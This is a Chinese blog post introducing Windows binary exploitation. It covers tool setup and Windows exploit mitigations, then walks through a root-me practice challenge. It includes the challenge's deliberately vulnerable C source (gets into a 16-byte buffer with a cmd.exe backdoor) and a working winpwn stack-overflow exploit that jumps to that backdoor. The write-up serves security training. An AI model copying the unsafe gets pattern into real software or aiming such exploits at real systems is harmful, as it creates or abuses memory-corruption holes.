windows pwn(一)

2023-03-01 15:00:27

前言

前幾天因為看CS shellcode裝了一個win10虛擬機器器,然後正好因為逆向課老師要裝一系列工具。於是就想起來之前一直想看的windows pwn,就順便裝了一下相關工具並且入門了一下。

工具安裝

winpwn

這個和pwntools差不多,不過可以讓我們本地跑windows的程式(pwntools只可以本地跑linux的)。可以通過以下命令安裝:

  • pip3 install winpwn
  • pip3 install pefile
  • pip3 install keystone-engine
  • pip3 install install capstone

安裝完成之後可以通過from winpwn import *來檢查一下,如果不報錯那麼即代表安裝好了。

checksec

用來檢查程式的保護機制是否開啟。通過如下連結即可從github上下載到一個現成的。

https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe

windbg

用來對程式進行偵錯。我推薦直接在Microsof store裡下載windbg preview。(不過筆者由於操作不當,竟然把這玩意強行粉碎了,並且還沒找到辦法重新下載一個)於是筆者就隨便找了一個windbg用了一下。

win_server

EX師傅寫的,用來把程式對映到某個埠,方便我們的偵錯。專案地址如下:

https://github.com/Ex-Origin/win_server.git

保護機制

windows下的保護機制感覺比linux下多很多。

1、NX:(在windows下應該是DEP,可能是我這個checksec不標準)。表示堆疊不可執行。

2、Canary:(在windows下應該是GS,可能是我這個checksec不標準)。用來檢測緩衝區溢位,與linux下的canary一樣。

3、ASLR:地址隨機化,使得exe,dll的地址不固定。

4、Dynamic Base:程式編譯時可通過/DYNAMICBASE編譯選項指示程式是否利用ASLR的功能。

5、High Entropy VA:我也不是很理解(也許是使得隨機化程度更高?

6、SEH:結構化例外處理(Structured Exception Handling,簡稱 SEH)是一種Windows作業系統對錯誤或異常提供的處理技術。為Windows的程式設計者提供了程式錯誤或異常的處理途徑,使得系統更加健壯。

7、SafeSEH:為了防止攻擊者通過覆蓋堆疊上的例外處理函數控制程式碼,從而控制程式執行流程的攻擊,在呼叫例外處理函數之前,對要呼叫的例外處理函數進行一系列的有效性校驗,如果發現例外處理函數不可靠,立即終止例外處理函數的呼叫。

8、Force Integrity:強制簽名保護。

9、Control Flow Guard:控制Flow防護 (CFG) 是一項高度優化的平臺安全功能,旨在打擊記憶體損壞漏洞。 通過嚴格限制應用程式可以從何處執行程式碼,利用漏洞(如緩衝區溢位)執行任意程式碼會更加困難。

10、Isolation:隔離保護,預設會開啟。

11、Authenticode:簽名保護。

例題

這裡我們拿root-me PE32 - Stack buffer overflow basic來練手。

程式只開了DEP和SEH,並且程式的原始碼已經給我們了,如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>

#define DEFAULT_LEN 16

void admin_shell(void)
{
	system("C:\\Windows\\system32\\cmd.exe");
}

int main(void)
{
	char buff[DEFAULT_LEN] = {0};
	int i;
	
	gets(buff);
	for (i = 0; i < DEFAULT_LEN; i++) {
		buff[i] = toupper(buff[i]);
	}
	printf("%s\n", buff);
}

那麼就是一個很明顯的緩衝區溢位,並且還給了我們後門函數,直接用winpwnexp即可。

from winpwn import *

context.log_level='debug'
context.arch='i386'

r = process('./ch72.exe')

payload  = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc')

r.interactive()

偵錯方法

windows pwn的偵錯方法很多,這裡我就介紹一種,藉助Ex師傅的win server進行偵錯。

首先用win server把我們要偵錯的程式對映到某一埠上,如下:

接著用pwntools發包使得程式得以執行,此時我們就可以通過windbg attach 上去,愉快地偵錯了。

同時可以通過這個工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)檢視程式的記憶體分佈

參考連結

https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安裝winpwn
https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools編寫exp
https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/